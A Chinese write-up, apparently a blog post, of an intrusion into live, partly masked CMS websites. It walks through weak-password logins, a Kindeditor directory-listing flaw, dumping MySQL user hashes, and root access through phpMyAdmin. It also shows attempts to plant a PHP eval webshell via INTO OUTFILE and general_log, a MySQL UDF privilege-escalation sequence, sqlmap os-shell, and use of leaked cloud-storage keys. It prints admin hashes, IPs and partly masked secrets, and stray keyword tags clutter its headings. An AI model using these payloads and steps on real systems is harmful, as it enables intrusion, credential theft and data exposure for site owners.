對某網站的一次掃描及滲透測試

時間 2019-11-05

原文原文鏈接

1.1對某網站的一次滲透php

1.1.1後臺人弱口令登錄系統mysql

1.登陸CMS後臺linux

因爲前期已經對目標網站進行過摸排，獲取了目標網站相似演示系統的測試帳號admin/123456，所以直接在目標網站http://c*****.t*****.com/m.php進行登陸，如圖1所示，成功登陸該CMS系統。該CMS網站帶有必定的安全意識，修改了admin.php爲m.php，雖然admin.php頁面存在，但不發揮做用。git

圖1 登陸CMS後臺github

2.對後臺逐個功能進行分析和研究web

登陸後臺後對系統設置、文件上傳、數據備份、項目管理、訂單管理、會員管理、計劃任務、移動平臺等進行查看，分析該系統是自主開發仍是採用公開模板開發。經過對該系統分析發現該系統是獨立開發，在互聯網上未有公開源代碼，沒法對其進行源代碼審計。sql

1.1.2漏洞初步挖掘shell

1.文件上傳模塊分析數據庫

（1）系統全部上傳模塊都採用同一個上傳編輯器Kindeditor，通過實際測試，全部文件上傳的漏洞及相關方法失效。json

（2）文件上傳模塊採用Kindeditor編輯器，經過尋找圖片或者文件上傳的地方，如圖2所示，選擇「網絡上的圖片」，而後單擊瀏覽便可對該CMS所在服務器上的上傳文件夾進行查看。

圖2測試上傳模塊

（3）Kindeditor編輯器文件瀏覽漏洞

Kindeditor編輯器file_manager_json.php的path參數存在過濾不嚴格漏洞，能夠經過修改該參數來瀏覽磁盤文件，早期版本Kindeditor編輯器不須要帶後續參數便可瀏覽目錄，新版本對漏洞進行修復過，但仍然存在漏洞，只是須要加上「&order=NAME&1546003143021」相似值，這個值是系統自動生成的。能夠經過BurpSuite抓包獲取，如圖3所示。在權限限制不嚴格的狀況下，能夠經過修改path參數值對磁盤文件進行查看，原始的值path中無「/」，在BurpSuite中的Repeater中修改其值後，單擊「Go」提交，則能夠在右邊窗口獲取文件列表等相關信息。

圖3測試文件目錄瀏覽漏洞

固然也能夠在瀏覽器中訪問如下地址來獲取BurpSuite抓包提交同樣的效果：

http://c*****.t*****.com/admin/public/kindeditor/php/file_manager_json.php?path=&order=NAME&1546003143021。經過BurpSuite再次對path參數進行修改，但因爲權限問題，如圖4所示，沒法獲取上級目錄中的文件信息。

圖4沒法獲取上級目錄文件信息

關鍵知識點：kindeditor/php/file_manager_json.php?path=&order=NAME&1546003143021

2.數據庫備份及還原

（1）能夠對數據庫進行備份。但不知道數據備份文件的位置及其文件名稱。

（2）數據庫查詢。網站提供了直接對數據庫查詢接口，能夠在其中輸入語句來進行查詢，http://c****.t*****.com/m.php?m=Database&a=sql&，經過執行MySQL相關命令來獲取獲取數據庫中用戶及密碼等信息，例如執行select * from mysql.user，如圖5所示，獲取數據庫用戶及密碼等有用信息，其中MySQL密碼能夠直接在cmd5.com等網站進行破解。

圖5獲取數據庫用戶等信息

3.其它功能模塊測試

因爲在實際系統上，所以不能進行有可能致使系統崩潰及出現問題的測試。在實際系統未備份時執行危險操做可能致使數據庫等刪除後沒法恢復。

1.1.3對服務器進行信息收集

1.服務器IP地址信息收集

（1）直接ping 域名，獲取IP地址爲：1**.1**.3*.**4。

（2）網站https://www.yougetsignal.com/tools/web-sites-on-web-server/域名反查獲取IP地址。

2.對服務器IP地址進行端口掃描

經過Nmap對該IP地址進行掃描，掃描結果顯示該IP開放2一、2二、80及3306端口。

3.分別對2一、22及80端口進行測試

（1）21端口爲Ftp端口，該服務存在Ftp服務器。

（2）對80端口進行訪問，也即直接IP地址訪問，如圖6所示，能夠看出系統採用開源架構OneinStack安裝Web服務器，在頁面上能夠查看本地環境信息，包括phpinfo、phpMyAdmin等信息。

圖6獲取Web服務器架構

（3）破解前面的MySQL密碼並登陸phpMyAdmin

在瀏覽器中打開http://1**.1**.3*.**4/phpMyAdmin/，輸入前面獲取的帳號和密碼root/w*****888，進行登陸，如圖7所示，成功獲取該MySQL數據庫Root權限。

圖7獲取數據庫管理權限

（4）對數據庫中各個庫的表信息進行整理，獲取真實物理地址信息以下：

/data/wwwroot/******ud.****s.cn/admin/public/robot/robot_0029.jpg

******ud.****s.cn/admin/public/robot/robot_0029.jpg

/data/wwwroot/www.s ******.com/admin/public/robot/robot_0026.jpg

/data/wwwroot/******ud.****s.cn/admin/public/robot/robot_0052.jpg

/data/wwwroot/ajg.t*****.com/admin/public/robot/robot_0596.jpg

（5）獲取數據庫對應網站地址

經過對數據庫中的表分析，獲取數據庫對應的網站URL信息，其中***shop數據庫對應網站a**.t*****.com，管理員密碼admin/dd****09。

1.1.4嘗試獲取webshell

因爲本次獲取的MySQL數據庫帳號是root帳號，按照過去的經驗應該很好獲取Webshell，但服務器環境爲Linux，通過後續測試未能獲取Webshell，下面將其中用過的一些方法進行總結和分析。

1.讀取CMS系統文件內容

（1）在本地搭建環境測試讀取文件內容

在本地進行測試，select load_file('C:/ComsenzEXP/wwwroot/demo/index.php');如圖8所示，成功讀取index.php文件。

圖8讀取本地服務器文件

（2）對實際服務器進行測試。

因爲目標服務器開通了3306端口，能夠經過Navigate等MySQL客戶端工具進行鏈接，打開後執行命令：

select load_file('/data/wwwroot/******ud.****s.cn/index.php');

如圖9所示，實際結果顯示爲NULL，沒法讀取文件內容。

圖9對實際服務器讀取文件內容測試

2.寫入文件測試

（1）先在本地環境進行文件導出測試：

select '<?php eval($_POST[cmd]);?>' into outfile 'C:/ComsenzEXP/wwwroot/demo/eval.php';如圖10所示，執行成功，生成一句話後門，密碼爲「cmd」；

圖10生成一句話後門

（2）實際服務器測試。根據前面的掌握的網站物理路徑狀況，執行命令：

select '<?php eval($_POST[cmd]);?>' into outfile '/data/wwwroot/a**.t*****.com/admin/public/robot/eval.php';因爲Linux權限問題沒法寫入。

3.使用sqlmap直連MySQL方式方式來獲取cmd_shell

執行MySQL直連獲取cmd_shell命令，雖然執行成功，但沒法執行命令。

sqlmap.py -d "mysql://sroot:w*****888@1**.1**.3*.**4:3306/mysql" --os_shell

4.執行MySQL獲取Webshell的general_log方法

配置general_log方法是MySQL數據庫禁止經過導出方式（secure-file-priv參數設置禁止導入導出）寫入Webshell的狀況下，經過設置日誌文件，而後執行查詢來獲取Webshell的方法。

（1）查看genera變量

show variables like '%general%';

（2）啓用general_log變量

set global general_log = on;

（3）設置general_log記錄文件爲shell文件

set global general_log_file = '/data/wwwroot/www.*****.cn/abouts1.php';

（4）若是執行成功這執行cmd一句話查詢命令便可。

select '<?php eval($_POST[cmd]);?>'

執行後，因爲權限問題，沒法直接獲取Webshell，如圖11所示。

圖11經過general_log方法獲取webshell失敗

6.linux下MySQL提權

show variables like '%plugin%';

select * from func;

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into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';

create function sys_eval returns string soname 'mysqludf.so';

select sys_eval('whoami');

select * from func;

上面的方法等同於sqlmap直連數據進行提權，因爲沒法導入數據所以也沒法提權。

1.1.5對另一個同類目標的***

1.子域名信息收集

經過subDomainsBrute（https://github.com/lijiejie/subDomainsBrute）在kali中搜索目標*****.cn的子域名信息：

./subDomainsBrute.py *****.cn

通過測試，獲取job.*****.cn、image.*****.cn、api.*****.cn後無其餘子域名信息

2.主站***

（1）出錯信息獲取真實物理地址

/data/wwwroot/www.*****.cn/ThinkPHP/Library/Think/Dispatcher.class.php

（2）www.*****.cn後臺弱口令

主站CMS存在admin/admin弱口令，系統採用ThinkPHP架構開發，版本爲3.2.3，雖然進入了後，也沒法獲取Webshell

3.目標站點***

對目標站點經過******ud.****s.cn/m.php 後臺管理進行登陸，代理弱口令登陸後臺後，經過越權漏洞，成功獲取數據庫密碼。

（1）管理員賬號及密碼

admin 203972cad03302b4e83985004b159e66 61.156.121.192 w*****12

cadmin 2b2df28f20de4189ea1c4493f3e5e5bf 39.83.43.146 q*****14

（2）數據庫用戶及密碼

http://******ud.****s.cn/m.php?m=Database&a=sql&

select host,user,password from mysql.user ，如圖12所示，成功獲取該服務器密碼。

圖12獲取數據庫密碼

（3）經過客戶端工具成功鏈接數據庫

經過客戶端鏈接工具直接鏈接數據庫，如圖13所示，能夠對數據庫進行管理操做。

圖13鏈接MySQL數據庫進行管理

1.1.6oss服務器***

1.oss管理客戶端下載地址

（1）32位：http://gosspublic.alicdn.com/oss-browser/1.7.4/oss-browser-win32-ia32.zip?spm=a2c4g.11186623.2.8.5c735352ekAZYC&file=oss-browser-win32-ia32.zip

（2）64位：http://gosspublic.alicdn.com/oss-browser/1.7.4/oss-browser-win32-x64.zip?spm=a2c4g.11186623.2.9.5c735352cSK0r0&file=oss-browser-win32-x64.zip

（3）mac：http://gosspublic.alicdn.com/oss-browser/1.7.4/oss-browser-darwin-x64.zip?spm=a2c4g.11186623.2.10.5c735352ekAZYC&file=oss-browser-darwin-x64.zip

（4）linux 64：http://gosspublic.alicdn.com/oss-browser/1.7.4/oss-browser-linux-x64.zip?spm=a2c4g.11186623.2.11.5c735352ekAZYC&file=oss-browser-linux-x64.zip

2.經過數據庫中獲取了KeyID和keySecret信息

在數據庫中發現配置有連個OSS賬號相關信息：

（1）OSS賬號1詳細信息

{"keyId":"LTAI*****9O3cMjZ","keySecret":"INBUN3sOb*****9Nq2m5K4FtNEd","endpoint":"oss-cn-beijing.aliyuncs.com","bucket":"v*****9","id":"1"}

（2）OSS賬號2詳細信息

{"keyId":"LTA*****929oTEL","keySecret":"RA5hx*****9qkrf9UUmI63ZNDuu","id":"6"}

3.經過OSS客戶端進行鏈接並查看文件

（1）登陸OSS客戶端。將前面對應操做系統的OSS客戶端下載到本地，阿里雲官方版本爲1.7.4最新版本爲1.8.1，運行oss-browser程序後，輸入AccesskeyId和AccessKeySecret進行登陸，如圖14所示。

圖14使用OSS客戶端進行登陸

（2）查看其OSS文件存儲文件

如圖15所示，登陸起OSS文件存儲服務器後，該服務器主要存儲圖片文件，目標服務器CMS全部圖片及對應文件均上傳到OSS服務器上，選中對應的文件夾後能夠將其下載到本地。

圖15圖片存儲信息